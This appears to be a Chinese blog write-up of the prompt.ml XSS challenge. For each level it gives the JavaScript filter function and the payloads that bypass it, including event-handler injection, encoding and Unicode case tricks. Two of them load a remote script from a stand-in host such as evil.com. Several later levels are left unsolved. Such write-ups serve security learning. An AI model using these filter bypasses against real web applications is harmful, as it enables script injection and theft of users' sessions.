wywwzjj's Blog.

Prompt 1 to win 通关记录

字数统计: 2.3k阅读时长: 12 min
2019/02/01 Share

平台地址:http://prompt.ml/

0. 轻松的开始

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

payload

1
2
3
4
5
">';<script>prompt(1)</script>>
"><svg/onload=prompt(1)>
"><img src="x" onerror=prompt(1)>

"onresize=prompt(1)>

1. 过滤 </

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

/<\/?[^>]+>/gi 限定了 gi 意味着大小写和双写是绕不过的

(或许可以参考 PHP利用PCRE回溯次数限制绕过某些安全限制 思路,但是没多大意义)

payload

1
<svg/onload=prompt(1)  // (1) 后有空格

2. 过滤 =(

1
2
3
4
5
6
function escape(input) {
//v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}

payload

1
2
3
4
5
6
7
8
( 用 html 实体编码绕过
// Firefox
<svg><script>prompt&#x28;1)<b>
// Chrome
<svg><script>prompt&#40;1)</script>
// ES6
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>

3. 注释符

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

payload

1
2
--> 和 --!> 都能闭合注释
--!><svg/onload=prompt(1)

4. 假同域

1
2
3
4
5
6
7
8
9
10
11
12
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i
.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

分析

1
// sample script: http://prompt.ml/js/test.js

看上去只能引用同域下的 js,但这里有个 decodeURIComponent 进行解码,很容易编码绕过。

%2f/ 的 URL 编码形式,浏览器将识别为普通的字符,再利用下 @,这种技巧 SSRF 当中经常遇到。

payload

1
//prompt.ml%2f@evil.com/xss.js

一直不弹窗,打开 F12,发现了下面这个,原来是被 Chrome 拦截了
Provisional headers are shown

5. 未多行匹配

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

分析

没未启多行匹配,换行即可绕过一些限制,这一点很管用。

payload

1
2
3
type=image	定义图像形式的提交按钮。
"type=image src onerror
="prompt(1)

6. form 属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

payload

1
2
3
4
5
6
javascript:prompt(1)#{"action":1}
vbscript:prompt(1)#{"action":1}

后面的 action 覆盖了,可以过正则,但我的疑问是覆盖掉了,前面的 action 值不会变吗
看输出的HTML,<form action='' 这里直接是第一个值,验证的时候是document.forms[0].action,
应该是这里的问题,再好好想想

7. 长度限制

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
我的第一想法是,存起来,然后在拼一下,然而不太现实
”><svg/onload'/*#*/=prompt(1) 直接这样的话长度会超了
这个操作太强了
"><svg/a=#"onload='/*#*/prompt(1)'
<p class="comment" title=""><svg/a="></p><p class="comment" title=""
onload='/*"></p><p class="comment" title="*/prompt(1)'"></p>

单引号没必要吧,"><svg/a=#"onload=/*#*/prompt(1)


"><script x=#"async=#"src="//⒛₨

<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>

Background Info
The async attribute allows to utilize un-closed script elements. So this works in MSIE - a very useful trick: <script src="test.js" async>

8. 换行符

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

payload

1
2
3
4
5
6
7
8
补充知识
Javascript 中 valid line separators 除了\r \n,还有:
\u2028 (Line Separator)
\u2029 (Paragraph Separator)
--> 在js中可以当作注释符(单行注释)

[\U2028]prompt(1)[\u2028]-->
一直不弹窗,字符打不出来?

9. 特殊字符献奇招

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
code-breaking 中 easy-nodechr 类似,形近字绕过
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
混入了两个奇特的字符"ı""ſ"
这两个字符的“大写”是I和S。也就是说
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
通过这个小特性可以绕过一些限制。

<ſvg/onload=prompt(1)
此路不通,prompt 大写失效

unicode码包含了许多国家的语言文字,有一些语言的字母调用Upper函数进行大写,由于没有对应的大写文字,会自动转换为英文字母,而在url中,协议和域名是不区分大小写
<ſvg><ſcript/href=//127.0.0.1/xss.js>
<ſcript/ſrc=//127.0.0.1/xss.js></ſcript>

10. 多次过滤帮倒忙

1
2
3
4
5
6
7
8
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

payload

1
2
前后呼应
p'rompt(1)

11.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

payload

1
2
3
4
5
6
7
小 trick
"string"(prompt(1)) 将正常执行
"(prompt(1))in"
这里的 in 还可以用 instanceof 替代

Same story with alert(1)in"test":
TypeError: Cannot use 'in' operator to search for 'undefined' in test

12

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
encodeURIComponent() 不会对 ASCII 字母和数字进行编码,
也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。
尝试使用 String.fromCharCode(112, 114, 111, 109, 112, 116),但是 , 被编码

.() 不会被编码,所以可以利用 toString() 构造
toString(radix) 中 radix 为 2-36 可以选36使其作为一个进制,将字符包含起来
使用parseInt(str, radix) 将字符转为数字之后使用(number).toString(radix) 然后用eval进行调用
注意number有括号,(number).toString(radix) 可简写为 (numbrer..toString(radix) ,字符之间用concat()连接
parseInt('prompt', 36) //1558153217
eval((1558153217).toString(36))(1)

还可以
eval(1558153217..toString(36))(1)

甚至可以直接暴力循环着self里的函数,找到prompt:
for((i)in(self))eval(i)(1)

13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

payload

1
2


14

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

payload

1
2


15

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

payload

1
2
3
4
5
6
7
8
9
与第 7 关类似,但是 /* 被过滤
那这里就可以用 HTML 的注释符
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

源码将变成:
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>

-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');

return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}

-2

1
2
3
4
5
6
7
8
9
10
11
12
function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!=*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');

return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
}).join('\n');
}

-3

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[&#>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
return '<input name="query" type="hidden" value="' + query + '">' +
script.outerHTML;
}

-4

1
2
3
4
5
6
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');

return '<body onload="think.out.of.the.box(' + input + ')">';
}

分析

被过滤了,

payload

CATALOG
  1. 1. 0. 轻松的开始
  2. 2. 1. 过滤 </
  3. 3. 2. 过滤 =(
  4. 4. 3. 注释符
  5. 5. 4. 假同域
  6. 6. 5. 未多行匹配
  7. 7. 6. form 属性
  8. 8. 7. 长度限制
  9. 9. 8. 换行符
  10. 10. 9. 特殊字符献奇招
  11. 11. 10. 多次过滤帮倒忙
  12. 12. 11.
  13. 13. 12
  14. 14. 13
  15. 15. 14
  16. 16. 15
  17. 17. -1
  18. 18. -2
  19. 19. -3
  20. 20. -4